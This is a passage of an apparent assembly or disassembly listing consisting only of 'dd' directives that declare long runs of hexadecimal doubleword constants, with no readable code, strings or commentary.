50864140h, 5A00DA7Ch, 23BF8AABh dd 242971D8h, 82388E78h, 726A5D39h, 0E0908C68h, 3D9F4E01h dd 0FE6ED163h, 24C3160h, 122F01A1h, 45E0CCB1h, 7D00D3FFh dd 0F0BBF699h, 0BA4CB0EDh, 20D16F74h, 0DA7ED040h, 670B0D2Fh dd 686C980Fh, 2235D24h, 0C7E913F6h, 3071AEEDh, 2A9EA08h dd 6A575644h, 0FD40D08Fh, 91825D95h, 0DE43B805h, 508C6938h dd 21FB0FAEh, 90879FD0h, 0D191C0D7h, 982CB74Fh, 280007Ah dd 64577F71h, 2B9A880Ch, 0A02C4804h, 84E4C189h, 1387F6C4h dd 41828DA8h, 7D472190h, 93838A7h, 663013h, 0EE8BAB1Ah dd 0D1C50A7Eh, 0EC52365h, 2F63516Ah, 31093BA6h, 0C8542930h dd 0B0A1E950h, 2B260054h, 0A476714Dh, 130539D6h, 97FB1D63h dd 0B17FF888h, 7AE8A660h, 79DA3181h, 0D0C1E2B0h, 0C0A0CA76h dd 0E6F617BDh, 84499219h, 0B5D42789h, 3F1090D8h, 5580073Dh dd 0EB374150h, 140EF2AFh, 4B2B92DDh, 7ACC006Ah, 9A04513h dd 8D02B670h, 8922BB20h, 5C176186h, 0F400D7B2h, 1B91D56Eh dd 9B7D1DA9h, 4273C159h, 638944E3h, 26E4099Ch, 12FC6EDDh dd 0ADB830h, 1CCDFEA4h, 0A21FC2A8h, 5D826696h, 0CBA4C880h dd 0C692C8F8h, 6E820B6Fh, 150064AEh, 6BC7DD94h, 1EBB9507h dd 6A550886h, 0BF287C80h, 1A230BEh, 6293B411h, 0C912F505h dd 9C80490Bh, 3F3206A7h, 88D88F4Ah, 21892011h, 0B4F16108h dd 196864FBh, 0C5833300h, 49E61FEh, 0B09F093Bh, 88A21459h dd 9A1063A8h, 78C08229h, 9300C1EDh, 14881FB5h, 9A75E68Fh dd 0EE4C0FECh, 454079ADh, 9CF8BCD8h, 0A1881B00h, 1562327Eh dd 581FCAFh, 46D4E1CCh, 5C1F80F7h, 0A70045A8h, 0C09BC39Fh dd 28252368h, 12CC3EC9h, 374F5Ah, 0FEFB135Fh, 0F80017E3h dd 9DF40351h, 3E745Bh, 823823E6h, 0BB2EEEF7h, 7C0798B0h dd 0A301721h, 63C06B15h dd 0F69811Ah, 0A849A550h, 8E7AF00h, 0BD00C672h, 25824B6Ch dd 6B2040h, 0BC099C2h, 325B2706h, 33B2470Fh, 148C741Bh dd 0E0B559h, 0AE74BA5h, 3D47EE02h, 0A28164B3h, 135C54Dh dd 0FDBAE0EDh, 0FEDD1A0Eh, 91BCC054h, 9B5BB2h, 7DFF143Eh dd 882FE0DCh, 2DCE7201h, 0AE45D6FBh, 0BF57FCh, 0A5A1875Ah dd 3B00C3Bh, 2E20AA04h, 0BA80EE4Bh, 3FBC16E8h, 8500BA3Dh dd 38D4F25Ch, 6E0FCC73h, 20AB9FF1h, 1BEBCB98h, 0E43C04DAh dd 908BCAE8h, 2AB05EACh, 41CB524h, 8FA9DF01h, 22EA3B2h dd 14BF75C8h, 974070E0h, 0E793D600h, 6FA7A16h, 0EA2B7E41h dd 88810CD4h, 0A5282E10h, 0F9548400h, 0B04065C5h, 0A0CE4DC7h dd 0AA559B00h, 952FAD45h, 0D440025Fh, 0C060ED3Bh, 60789230h dd 0A429483Fh, 1C90066Ch, 91E2BA0Eh, 1B73E060h, 13E1931h dd 0A6289F5Fh, 30FF76ECh, 9B00FCB0h, 95B33DDEh, 5A74B1h dd 2F4CED05h, 0A555238Eh, 6E8C3316h, 25D29040h, 26274184h dd 8028479Dh, 0F8B7D1F3h, 74007BF9h, 2C384A8Ch, 0C03097A6h dd 3D049D88h, 92009E3Ch, 70011BB3h, 7542026h, 9B5CEF42h dd 6E0870C4h, 0EA0062AAh, 0B867599h, 1E856368h, 78F2A55h dd 0EBEBFF52h, 70468B07h, 5953819Dh, 0B77C8AF6h, 54131C00h dd 0DD390BD9h, 0C62D00B6h, 7F0FB9B4h, 280008D8h, 308B2290h dd 3D3F2C46h, 2730AEC1h, 2C83EA6h, 755339h, 0EB4D5955h dd 334B88h, 810C22FAh, 5EE3F911h, 83D2F300h, 4896893Eh dd 17EAC4h, 13E5E842h, 2437B2BBh, 90286475h, 3927E097h dd 74C0E019h, 0BEF6DBh, 5F7D7BD6h, 0BA501F2Bh, 32B59200h dd 6DEA035Eh, 88E700C7h, 2F4561CEh, 0A7000416h, 8A489C8h dd 2628FA0Dh, 948869h, 6872B2FFh, 8F046A02h, 0FB6E1074h dd 0CC1578A1h, 27F978C0h, 96B71C5Eh, 80D49E2Dh, 869881CAh dd 0CF0016E3h, 91B3882Ah, 756697F7h, 9C43264Ch, 0DDEF001Ch dd 744F445h, 0B11F9498h, 0FE2608h, 0F9794E2Bh, 0CD247FEh dd 96DBE9D1h, 9100F1F0h, 0EC9239EEh, 370593h, 0D6672C4Eh dd 7DDACEA3h, 276E0A14h, 80613D83h, 0B4015F7Fh, 49EBD1Eh dd 411FBF90h, 85FAC071h, 0F161A0E4h, 0F82977F1h, 0C4221863h dd 1FB8E21Dh, 77BC9FC0h, 29ED6E4h, 5CC5CC2h, 0D8409AD3h dd 0BA006C81h, 1F03EF25h, 9A64BCBh, 3AAC6A7Fh, 39E23C60h dd 12A9A50Eh, 0B7405E35h, 4861B18Ch, 0C35300EAh, 25F74CF6h dd 0E0091894h, 81D0FB31h, 657D8E38h, 122CFC22h, 0C0AD15BDh dd 88A2FA02h, 47066CFh, 0E5EBBC00h, 20420E8Dh, 4BA60007h dd 3B2C4A9h, 50B03BE8h, 0AA45D1Eh, 0A7439B81h, 1DE074C2h dd 0E5C9CAFFh, 41CA00C1h, 0A06E7BACh, 6DB4500h, 0AA46E70Eh dd 0A5810061h, 919F0D48h, 52006775h, 0F4C716F8h, 1BAF056h dd 9A92B893h, 0F48B7433h, 0C8C08997h, 3C09D92Ah, 12C09057h dd 83DE8C05h, 0E4A09278h, 0A60083E1h, 0AC90E26Bh, 0B8CEE6Fh dd 26ED64B0h, 84418060h, 3B006171h, 1B0215DDh, 2A776FEh dd 0D856A67Ch, 8CA077A2h, 6F3322BAh, 748948h, 7895A4C7h dd 18AF021Ch, 6ED33154h, 109D4620h, 5FC24E8h, 0B73C6EE8h dd 0C52CA059h, 0F41ACA01h, 3BF248A3h, 306403E0h, 7121875Eh dd 0A9014EE5h, 0D3D90D07h, 48303488h, 430B1E96h, 0F9090F49h dd 35901400h, 0C7033050h, 37AE4BF5h, 0DDABA093h, 876500F1h dd 0A3C0A433h, 787B5C12h, 4719D2Ch, 70907092h, 97F1C258h dd 0E6B22C80h, 7A05BB36h, 276C240Bh, 0C100F4E6h, 446F49A9h dd 0DA0174D7h, 0A3208A59h, 307CFDC3h, 2BB85E01h, 0F4193C28h dd 0FC98EBB9h, 8F887503h, 578065Ah, 0E2E4F310h, 20268731h dd 9B19B983h, 0AF9FAE05h, 9500980Fh, 9C6B293Bh, 84EC02A4h dd 0B5BA6148h, 0F4F250E9h, 43263B02h, 1D8AF0A8h, 9E04ABE4h dd 98803F99h, 40984h, 898FA3C6h, 48F7E2C4h, 683C57F8h dd 8621EE9h, 0A143E41Eh, 64BA71h, 31924F48h, 3FF586F1h dd 0B58BFF00h, 240CD866h, 87FA1AD0h, 14C028FDh, 0F300A1B9h dd 2B6354B6h, 7B31CEh, 0DD18F408h, 0EA9575BDh, 686D8D06h dd 0F8DBC7h, 0E62103E8h, 0CD4F8446h, 33AD5A03h, 98365DA7h dd 3AB8CA0Eh, 3FFC6E99h, 8480B34Fh, 0C355607Ch, 14141AA0h dd 1CFDC922h, 0E2828C6Dh, 7C8AEB94h, 0A06C00C0h, 9AA413CDh dd 0F3747F24h, 0F88C283Eh, 67016102h, 405C022Ah, 0BEA649h dd 1346D5A3h, 7AE24A47h, 39AADD00h, 0EC44120Bh, 0A6B007CFh dd 2572D81h, 18788F2Ch, 53F4F00Fh, 80CAA951h, 0EA99E764h dd 47A9072Fh, 0F00501F2h, 5932D977h, 0D2BD9601h, 375D7F75h dd 0B4871C60h, 0A8F24534h, 940E7D5Ch, 1A2EE29Bh, 61EE6010h dd 60E31DBDh, 21CD4A49h, 2F8389FCh, 7D983CF2h, 84002D4Bh dd 8C6081E7h, 0A16901CCh, 56EC145h, 46BE465h, 2A8D6807h dd 3F36FEBCh, 85E30930h, 708CA19Bh, 0A9005C10h, 563B3490h dd 3DA7B0E9h, 91EF993h, 50EE8Bh, 0AD77837Ch, 7FFEF759h dd 88DBB000h, 0F4847DFCh, 0C8E500A2h, 2CB4E06Bh, 6700808Bh dd 75C65A71h, 98C556ADh, 0BDB8005Bh, 0F51870D5h, 2105633Ah dd 2540F73h, 1B372780h, 926F079Ch, 1188CA83h, 80DFDD3Ah dd 0C66885F8h, 90FE329h, 0A24FCF1Bh, 0E646A4A0h, 0EE2E0309h dd 3E008B45h, 0B31AD631h, 65750098h, 0C750F654h, 0BB0058F2h dd 0E41490B9h, 988B3735h, 798A00A0h, 0F0553E69h, 8E22039Fh dd 3B9807D4h, 80C44CE7h, 0C59C8AAFh, 38B9F75Ch, 57B209DDh dd 16D48F3Bh, 96BC0F4h, 957B40D6h, 361198A0h, 5D00FC99h dd 4DAC4C91h, 120D2002h, 803C892Fh, 5911CE34h, 0E0621600h dd 0F3C6A896h, 5274003Eh, 93A631D5h, 6F5802D6h, 489901E4h dd 0DDF7A19Dh, 0FA6920h, 9B7897FCh, 0DE93647h, 0DCAA1B12h dd 12CE4082h, 5002456h, 661F9A27h, 0BACA078Ah, 0F0AAA5AFh dd 2A595C4Dh, 0C042AC01h, 0DFA3240h, 0DBF1F0h, 38D2EB46h dd 340EA998h, 5CBCE400h, 939C3E7Eh, 2933043Fh, 80139973h dd 270F4A5Ch, 0E53DA00h, 2E2FE720h, 48654832h, 120C941Dh dd 6268025Ch, 0EA04D1F1h, 0E2A0D0FCh, 0F0C1D637h, 346E2375h dd 0B868006Fh, 89EECD06h, 2142AC94h, 7BE0005Eh, 0D760E332h dd 6ECD8D38h, 834600A2h, 0C1DC3B1Dh, 0D30F298Fh, 0E48EA089h dd 180559D1h, 0F00CC711h, 6E108D2h, 3C10B659h, 0E44D2AEBh dd 0E1EFCE25h, 71A60EF0h, 0ED28B973h, 0BE3127E1h, 74981811h dd 0B509DE70h, 0B724C7h, 4E6F5834h, 4328009Bh, 0A4C96433h dd 170092C4h, 7432CEB3h, 0FC58118Ah, 7CBB909Ah, 0A7BA0067h dd 0C59B304Eh, 7B1E0CC7h, 2B4D97F0h, 0C8DC9825h, 0FD1A0080h dd 0D6DC860Eh, 9000B4E6h, 1C069527h, 3387407h, 2C584365h dd 2001DE7Dh, 0FF7ECAF3h, 42D8165Fh, 18BA0095h, 922E7F1Eh dd 0A8B04C33h, 2BE9F200h, 87A42324h, 0EC4B1D26h, 40F69F72h dd 0CD16F1A5h, 0CE008E97h, 0B002A38Ch, 147B1CAh, 546DD568h dd 708D7306h, 43E23C1Eh, 0ADAC2C54h, 0EE0ECD7Bh, 60402849h dd 0ACE77AE3h, 0DF7282h, 22462E0Eh, 1657856Dh, 8B281805h dd 40BCF9B4h, 4B6BC407h, 0AC09C0F5h, 9D3F0838h, 0A3B8504Dh dd 6200DD73h, 0B4693DCBh, 4A8AB16h, 0B831A53Fh, 0C874C314h dd 47D14FCBh, 1C042874h, 0F4940A9h, 622080E2h, 60E5A682h dd 67D81687h, 0C700256Fh, 5C7ADCF0h, 4C544658h, 34007FB6h dd 9DBC1DDFh, 0F000FD7Fh dd 9B8CEBDEh, 674D5Bh, 0F6C4A779h, 0A9AB5AA6h, 8FADDC12h dd 0B2970B0h, 0D15369EEh, 0E3611440h, 0B288A00h, 67442E08h dd 0B57D2DD6h, 0D36B8CE8h, 69C03800h, 73BA46EDh, 0C54D00E0h dd 0C840E16Eh, 4B01E271h, 547C38CFh, 55E43CCBh, 62B658CCh dd 3BCEF28h, 0C0ACC526h, 113CCD38h, 4A73E9Dh, 9A174A6Ah dd 607290E4h, 645799CCh, 513AEDBDh, 3DF11D94h, 1B98B883h dd 0D0AE062h, 1E4926Ah, 0ACCD253Ch, 3495E5D7h, 0F606F140h dd 5189D9DCh, 0CD0A0048h, 0D7E1E58Ch, 0D83A20E8h, 914080D0h dd 0A9993FD4h, 0CA9B5CCFh, 9A2C5300h, 6C8C9514h, 0EAEC120Ah dd 0A0A2C1Ch, 0ED003C0Ch, 4F64B5BDh, 0C5611DA0h, 5ADE8048h dd 3E418E46h, 98B90B00h, 69D12BD3h, 4D6C00D5h, 0E327D60Dh dd 0CE00EDC6h, 351DA0E5h, 0AFF5B3h, 0AAE9B22Eh, 23D10F47h dd 72A2201h, 0CF2FFDCEh, 0F87E76CCh, 4639003Bh, 1A621EEDh dd 2900C1C6h, 0DBB89F63h, 0E48D0A9h, 0EDD133EFh, 0B2CD8A60h dd 0C375054Ah, 0B6F2DA00h, 9B9025EEh, 89AD0634h, 0D1F9F0AEh dd 3AC26400h, 16E39AA2h, 225400BCh, 2538218Eh, 0D503041Ah dd 5E14F744h, 0EF4AA374h, 2A49BE20h, 0C9F20283h, 0CE0AA048h dd 5B68E0A0h, 690AEA7Eh, 0A0A3B3C0h, 0CD11A006h, 156E0121h dd 5F622AC9h, 403A3025h, 4AE49h, 0D52E4E3Fh, 3F55947Ah dd 6980E96Fh, 0DEC992B5h, 0A054C6FFh, 4F1C7EC8h, 0B080652Eh dd 7C23FD60h, 0FACD00B1h, 0F075336Fh, 587E0849h, 0C691740Ch dd 0F43994h, 1CFE6A42h, 0B79B8DC3h, 5E9F5A00h, 9203F049h dd 1E7090DAh, 80090AD4h, 16916041h, 2104067Ah, 4DA06193h dd 190488h, 0E9D3202Eh, 159F8CC7h, 1DE8D777h, 0F20CCF00h dd 1B16A06Ah, 90D11F57h, 0E9D9D898h, 1000B4F4h, 9EDDCF80h dd 0CAA5471Ah, 0D0049C11h, 0D53EBAF4h, 36190381h, 0E07EFF06h dd 1CD39360h, 6433C1AAh, 9EDF00B3h, 327183F7h, 0A2008075h dd 42C87C9Ch, 3B41AFAh, 88BC5CD9h, 6CABC587h, 988DC3CCh dd 0CF5BB890h, 8AF33E0Fh, 91019CE4h, 69139BE5h, 6E4C9040h dd 0F2DEC0Eh, 3CD68D8Ah, 0FDA95C2h, 0B618EFE0h, 539A7A07h dd 5F5E13D8h, 0C22F2580h, 622191h, 15FD4BB5h, 7363044Dh dd 0E3008275h, 0F8A7983Fh, 54FE91h, 903157A4h, 7875958Ah dd 866E0F2Eh, 5D53A0Eh, 66C16F4Dh, 0CEF00424h, 0C2A6008Eh dd 38EBF06Ch, 0E500EA73h, 0B07C56EFh, 7D7003h, 5A25661Ah dd 49BDD36h, 953CEEEEh, 50BEB1h, 6297F382h, 501F4C85h dd 0B864B4CCh, 8FE93F9Eh, 6E057700h, 8BEB8C50h, 85C7F701h dd 0E4E72C19h, 28960CEh, 0A9A0010h, 7F9BC371h, 3E784A11h dd 445C840Ah, 8100EEACh, 886CA020h, 0BAA81CD8h, 333105FFh dd 64EC40CDh, 0CC960537h, 57C76D2Ch, 0ABD9A63Eh, 6D01CE17h dd 0B014478Ch, 145C79CCh, 0BC457792h, 7C1AE907h, 0BFFB73D4h dd 0C30743B8h, 0D49ED00h, 0B49F5DC1h, 3CC00B3h, 0D170222Dh dd 2401FC2Ch, 8F7FB18Ah, 0B9AC891Ah, 0D8F600A2h, 46D18319h dd 7C00F476h, 0C2B21851h, 0C4E9B4h, 8CF31F21h, 91FEB6E2h dd 8FB7E100h, 0A1EC0131h, 90A7F6FAh, 60236024h, 0FD7AB5Bh dd 0EA01CC0Ch, 0A221ADh, 41BB9303h, 73DE3DDFh, 0D73CD301h dd 338DE595h, 0BA5BECh, 5E9790FCh, 949A088Fh, 77013900h dd 3A7FB851h, 0ECC60599h, 2DAA1E7h, 0A55256A4h, 0EF38B800h dd 0D02650E4h, 174B03F0h, 0FD42D76Eh, 7A6220B7h, 0AF782DA0h dd 93F8D360h, 90E3355Eh, 0EE8A019Bh, 2E479444h, 0DE702480h dd 2795D200h, 1F7B3B59h, 86E6001Bh, 0E102ABF4h, 0A3790A97h dd 0F9619500h, 7577E52h, 668E0011h, 0B18DFDD3h, 0E6003268h dd 0E0F2213Bh, 8C2842h, 852C4EECh, 0AF044FEDh, 44D67706h dd 1B8F052h, 826EAA1Eh, 7012ABE1h, 493CEB46h, 0B002F8E2h dd 0A9EFEC14h, 9C0460B8h, 0FCE0CFC5h, 2003A1Fh, 3A14DDBEh dd 33165A3Bh, 781096B4h, 560912BFh, 7B221C40h, 4D4F73Eh dd 1161ACB5h, 9334D0A6h, 6C1C0BAFh, 6900AACDh, 0F72286CAh dd 36D1F1Dh, 0FF5143FEh, 12B8C621h, 3900B836h, 0ADDED7C1h dd 3403D38h, 667E2757h, 203913CDh, 3B4D0098h, 9C99BC52h dd 1D9B00BBh, 0E692BFA1h, 3007603Eh, 276B703Ch, 0E0FC24D3h dd 0E4B45BB9h, 83C00004h, 6E521A31h, 5D001DD8h, 0B2354477h dd 0EC0D20D3h, 894B0766h, 0FE698F7Ch, 56C811ACh, 0A2CEE500h dd 0EF4D9988h, 0F5600064h, 0C39DAAEDh, 7700B973h, 0E4430180h dd 97B216h, 40BEDAB5h, 0CB89A652h, 0A883EC03h, 0F09825AAh dd 67DE7Ch, 0DFE8F250h, 829AC4A1h, 24A9AF00h, 85E9EFCAh dd 14BA041Bh, 9063DC29h, 94EA3B48h, 3AA27B07h, 7F0FE2DFh dd 62E54940h, 2DF35Eh, 8A21AEC2h, 82140D31h, 0BFA5A713h dd 1643000h, 1D5A2A05h, 9DF32999h, 20B5215h, 54891BD8h dd 806601C1h, 93B52A11h, 0B027A4h, 0C475F340h, 78A882EEh dd 4A42921Fh, 0CB801824h, 4F5F8344h, 0A234022Ch, 0D58AC945h dd 43DE7440h, 9142650Fh, 8FE161E7h, 0BF07DADh, 4C6D28E4h dd 6B9B00E8h, 0BF0F712Dh, 10F4271Dh, 0B25F5900h, 92FB3B99h dd 21BD187Ch, 78D831D5h, 0D9190D60h, 0E562A53h, 0A08CAD48h dd 0FF6B140h, 73581489h, 4D380030h, 43A85019h, 0B3E900EEh dd 59A07116h, 0FE4C42A4h, 0C0AA0094h, 0F7581990h, 7BF30034h dd 89E441D7h, 5A05F45Eh, 0FAA518BDh, 0BC708EC7h, 0FA92C4Ch dd 403C78E3h, 32971120h, 8D00E416h, 0F7853719h, 390C973h dd 0BCB6D2DDh, 7D90BFDAh, 4E2EB44Ch, 7B0F657Fh, 0C63BC09Ah dd 8FCCA6h, 75E846E7h, 32884D80h, 0F9FD5D00h, 1872DEFAh dd 0BFD1001Dh, 9B80EFBDh, 7704AD73h, 2D0B7BC7h, 0A3CEC3h dd 0DA747119h, 0CF92ADD9h, 0F9DE2500h, 0E3502770h, 7F8B007Dh dd 601FB118h, 0E67EA854h, 33BCA700h, 3987CAFh, 48E0EE08h dd 0F403954Ch, 42C519B7h, 655259A8h, 0F2DD1300h, 8092B138h dd 224BA88h, 2BD2508Eh, 8682CE9h, 0A12C6AB0h, 3A806CBEh dd 0FA4020Eh, 0AD1B0066h, 0B21E59A5h, 1A01633Ch, 246D3278h dd 520347Ah, 7635007Dh, 74CA8030h, 0CF008F2Fh, 0C393317Fh dd 18C403Bh, 5AF8F9C6h, 74684C66h, 0F7B09C60h, 180CB59h dd 0EDB4B956h, 0D4D1A954h, 309286D0h, 4A21C844h, 1A3CD58Eh dd 1CAC99D0h, 0EBD0AB08h, 87143026h, 0A1F303D9h, 2306649Ah dd 2E63A5EDh, 0F49D0008h, 8B465279h, 4C00E2E6h, 0F928CC94h dd 5A91BCh, 76B2A60Fh, 9A6D8C4Dh, 59CE5D00h, 23266E8Bh dd 0C2AC019Ch, 0DD0A0312h, 94B6E0C7h, 4C002B76h, 0AC379197h dd 0C545A22h, 0F8FD2662h, 0A8051B91h, 0AB8591C1h, 0A2FF4C01h dd 2DF07804h, 0F8BC00CEh, 0F5D7C660h, 39CB994Ah, 0C2610783h dd 0ABD680D0h, 905250ECh, 82540AC8h, 428CB892h, 0A890624Ch dd 0A83E3D5Fh, 5C373AF9h, 0C84507A5h, 0C0504D8Dh, 5E8E9Ch dd 248DF7Bh, 86D88433h, 3126087Ch, 9900A1DEh, 0B5F11C51h dd 0E99F008Ch, 62616BC5h, 920050CFh, 1A96DF73h, 0D9CAD4h dd 2ED69CEDh, 3FB2C852h, 0AF0E80E6h, 408CDA54h, 0D945697Ch dd 9DF4E9B4h, 37F260h, 0E659CFC6h, 429998D4h, 0D6006B90h dd 0C06FC2D1h, 25FCCBF1h, 7818A8CFh, 7E01E67Ah, 850B74A1h dd 0B2D045D8h, 2AC1F7Dh, 15688F89h, 0C07F7C87h, 86B72F1h dd 6973860Fh, 8D390701h, 107546h, 0AFCB8418h, 479888D5h dd 9009ACB8h, 76099Fh dd 0A1BD0279h, 870C036Ah, 85086D75h, 8112C0C7h, 17787F71h dd 617EC13Ah, 0C7187930h, 0A9C9Dh, 0B20D5BA1h, 0C504737Fh dd 0C6397289h, 7AB4E8A2h, 0F482BB04h, 6CE1EB23h, 37E03B2Dh dd 34D80088h, 65E69E19h, 56182FD6h, 0E818D064h, 623201BCh dd 0C9A4EBA0h, 0E7B870C5h, 87077825h, 0AF4175C4h, 61BBCAF9h dd 0E014FC00h, 85B51954h, 0B4E14C1Dh, 96319818h, 0C1470F4h dd 905AAC08h, 4C03E099h, 563D946Fh, 1601B0FCh, 0E488001Eh dd 3C0E5A4Ah, 1009A4E8h, 0C31F4B91h, 0D242DF44h, 36CE4F7h dd 6246AABCh, 0CB88A52Eh, 8CC9525h, 1E621B8h, 9D8C46A2h dd 83D71AE0h, 7256FB1h, 0B206A1DDh, 517949E4h, 300B84D3h dd 47C0BE88h, 1AE649Dh, 1CAFF288h, 89C62A21h, 40E28D50h dd 93DC28h, 4E5EDDFEh, 68B5703Ch, 0C2E75304h, 83AF8D1Ch dd 0B2E05D22h, 2E00EF82h, 81B0F44Eh, 31491ED8h, 9150EE86h dd 83C84CCAh, 0C0B6F488h, 72195C91h, 587FC949h, 6B462500h dd 874E40C4h, 19577D2h, 551A0618h, 50CC99F8h, 0E621DE88h dd 94F9A9C5h, 0B97FD043h, 202690D0h, 0B28C00E8h, 0EF4F87F1h dd 310454FBh, 0A0A57DE3h, 3FFD0498h, 0E190EB14h, 809BC8B4h dd 0E514F58Fh, 0DF6329DEh, 0F8085971h, 0E499F4A1h, 0C4C9D0C4h dd 0AE01D623h, 852E6E46h, 0E288B118h, 0D44600A6h, 9D08D97Ch dd 96F4A8h, 0E8078089h, 15623C8h, 0D8843D93h, 0CB120F9Eh dd 0BCCAF8E0h, 562BB0A0h, 203C1B31h, 12FFAC7Bh, 41A61838h dd 7C4E2794h, 3B8100CBh, 97A74ADh, 9FD232CEh, 405B9801h dd 0CC818051h, 4C79DE18h, 867581A5h, 0B2CD1690h, 0FB80A20h dd 4074E911h, 2E6F46B7h, 0C0228D46h, 46AFE300h, 3BACB232h dd 0CA7100A6h, 63FCC84Eh, 80014C6Bh, 0F7BF9C7h, 0F04549B2h dd 0A423D83Eh, 0DF8BC900h, 9D7E578h, 0BD5445D5h, 0C1584820h dd 0CC0A7BB8h, 0B485F9F7h, 6862A080h, 0C601CACh, 8804D4C1h dd 21C1AE08h, 0DA685AC5h, 0F7466D0h, 17674A36h, 0B71D7842h dd 8D6F8881h, 0C10C24E7h, 7214D00h, 57BC5F48h, 2CDB3C9Eh dd 0CD0E2401h, 40A32A31h, 513CB7B8h, 0D0DF2628h, 85A0506h dd 2A50ABF5h, 1E9CD901h, 0F0BC562Dh, 5A511CC0h, 0A730B661h dd 8F3A584h, 0D0D14038h, 5E2E9C01h, 3082B5F0h, 54AC6CECh dd 3B0C8C72h, 40C1EA49h, 843E0602h, 51EE1218h, 0EC029441h dd 46AD30D7h, 7D2E6111h, 0E19EB988h, 5AE246C0h, 444FFBEh dd 0BFAD114Ch, 1D7805Eh, 60C4CB0Eh, 0D088FA2Ch, 214F3D4Dh dd 0C885A480h, 3D1E87C1h, 7D5ED8F1h, 9FD17C02h, 1210E0F7h dd 34C07843h, 0E1EC556Ch, 0E9B3E0E9h, 5DD65F05h, 0F041B27Ch dd 1BE01D8Ch, 0DE0B9832h, 28201227h, 3701040Ch, 0D6FA411Eh dd 60124426h, 9775B049h, 80A49108h, 0AF22D41Ah, 8E29129Ah dd 0EF0052D9h, 0A3DEF200h, 52D405Fh, 0AC65D161h, 0D0C42363h dd 0EBC1100Ch, 63FC0867h, 0B95F59DFh, 27C64CD0h, 0B7836F00h dd 0E87098C2h, 8AC7030Eh, 0E1A1FD65h, 0D32452F0h, 6046E58h dd 0DC2CDF11h, 92B01B81h, 1CC0514Dh, 6D2870F9h, 0B350DC30h dd 58CD3F0h, 2E6546A9h, 148E9Dh, 1E46A1E5h, 43E5142h, 8D770A12h dd 0FC55815Fh, 8A6980DCh, 57F9D629h, 4FF6EBh, 6C4CAAAFh dd 6D4B325h, 20E9A7E1h, 0A440C258h, 0FF770ACAh, 18D4D1A9h dd 0D3A0C1BBh, 81C021B0h, 0F03716CAh, 38750128h, 96CDC7E4h dd 946EA4DEh, 856E5A40h, 1D5312FFh, 0E80C594Fh, 46F019D5h dd 0AD2E2C63h, 0ABE770B8h, 5364609h, 0BE1D845Ch, 3A54A880h dd 0D8A64812h, 4909D948h, 2007967Dh, 725371A0h, 1C4CFEA5h dd 0E114FB02h, 19B51154h, 0F38910A0h, 1EBCB014h, 808E6B48h dd 0B3435D4Fh, 846492ACh, 0A4C48CD1h, 0D280D884h, 26013CD8h dd 8214DE62h, 0C9BD78BAh, 0B4E8CA00h, 6388DC39h, 0EE14FA01h dd 0A7180954h, 14F8608Ah, 66260E04h, 3042ECC3h, 8441A9D1h dd 8FE18A1h, 0E954EA14h, 0B8F68C70h, 0DAF20190h, 9EF7FF03h dd 0F5B030D1h, 6864048Ch, 62901CAAh, 37C32797h, 7791D068h dd 1F58562Eh, 0F2CC8564h, 68612420h, 381C23B7h, 0C637AB11h dd 9D23E320h, 41CD2BB8h, 8458AC11h, 8E67F709h, 6FC72843h dd 937C39E0h, 0CD0FE33Bh, 0E0DD0914h, 8710C6D3h, 6F9D022Fh dd 0A1C455A6h, 0C8FCC485h, 3F00B608h, 7095F265h, 3A4AC6Fh dd 972505EFh, 409029C0h, 96000364h, 981306Ch, 59D63255h dd 4713B488h, 5D1831A0h, 89806E4Ch, 52D61061h, 0AAE27C66h dd 74F55A30h, 1EB104FAh, 80E38601h, 0C5282518h, 0AE92B700h dd 0A22254E4h, 0A4E8173Dh, 780492F9h, 86425B40h, 27073500h dd 0D9B491F6h, 40F200E3h, 578DD734h, 0C1EE0230h, 0E0B982FBh dd 50B05692h, 7040BB70h, 5905E44Ch, 5E7D649Dh, 0C34A7081h dd 4E7EC00h, 1448A54Ah, 8E80BAB1h, 0F1F2A6CBh, 0C50024C0h dd 6E849C21h, 17EFE4Fh, 0BBC4A3EFh, 20A5D52Eh, 28CA268h dd 54ED14FFh, 0F4E5B5F1h, 14F78D87h, 0A2185246h, 912015ACh dd 0BFB680A0h, 2F0A7BCh, 809404Dh, 4C499E0h, 0D2CC9046h dd 57079169h, 0D12E345Ch, 9F29C230h, 67ED0501h, 91FE0F5h dd 0C4826F14h, 0A46ABC92h, 0E8610860h, 29225002h, 60A4F701h dd 548D9C22h, 0F0DCD4h, 5AFE0AECh, 91A1ABDDh, 0EA18CC94h dd 0D4D121h, 0B3A2CE0Ah, 0AF8D2137h, 5E306F0Fh, 445E5754h dd 405822D1h, 0C8A0203Dh, 0B975CE03h, 26CB0108h, 74C41910h dd 2C17BD46h, 63F300CCh, 0F91A0C7Dh, 7CCBC62Eh, 70662EC0h dd 1090C1AEh, 2CD9AA01h, 8CB9EC84h, 233E3700h, 4B06B884h dd 0B7780395h, 0B1ADA859h, 0D130C821h, 0E02618BFh, 0EE8B0198h dd 0F57677F3h, 0A62180B5h, 0E20B3553h, 0AE16009Dh, 0B6B17075h dd 76FC81F1h, 0E88D2635h, 0ACDF2C41h, 8C28E35Fh, 0EC137A3Ah dd 671030F8h, 1C23A968h, 0C0443E88h, 0F6689F00h, 773A0C39h dd 0EF0303D9h, 0AEF57D4Ah, 8503917Ah, 0C6F648BBh, 0B0B4F0D0h dd 1249141Ch, 5A00ACEFh, 0E2F1D4Eh, 0F450D1B2h, 2B00F264h dd 0DFC8E48h, 1CB0632Dh, 1C27AD83h, 349B5242h, 8894CBC4h dd 7369C399h, 978DA80h, 21C445FFh, 728D6CCCh, 29050078h dd 0B311DE1Bh, 0BF353969h, 22FD000h, 203071EAh, 0A05FE228h dd 0C4BC9648h, 9C82B205h, 5E85A8Eh, 0AD38548Bh, 92B4C863h dd 0E9B74930h, 93D1A2ECh, 2808A1D8h, 18114CC0h, 0F38AB23h dd 5054EC14h, 14F88AE0h, 0B1EA58F8h, 3DD4DD00h, 0AE997BE5h dd 3CD0595Dh, 0E8B3C59h, 0B891E097h, 5DCE0D80h, 64B2B150h dd 3BA1C960h, 171AB32Dh, 1617D074h, 23002F68h, 60C400A2h dd 79A48994h, 0E3226907h, 0BC233066h, 0E27000A5h, 84B1E406h dd 0BA4B7618h, 3C993830h, 7968917Bh, 2A118AEh, 0A5524BDFh dd 9F400EACh, 65004CE7h, 56C8D6Bh, 4D790Dh, 6D47B580h dd 0CF831326h, 8591B8CFh, 0FC09D823h, 0C464C50Eh, 0F43660BDh dd 574022Ah, 53900877h, 8D2450C4h, 0EC8028E0h, 13221FBCh dd 59F216h, 4A93B77Ah, 2A446347h, 0AD904E14h, 0E9985890h dd 3B4430E6h, 3E5B6B13h, 0ABC8688Bh, 88E24C0h, 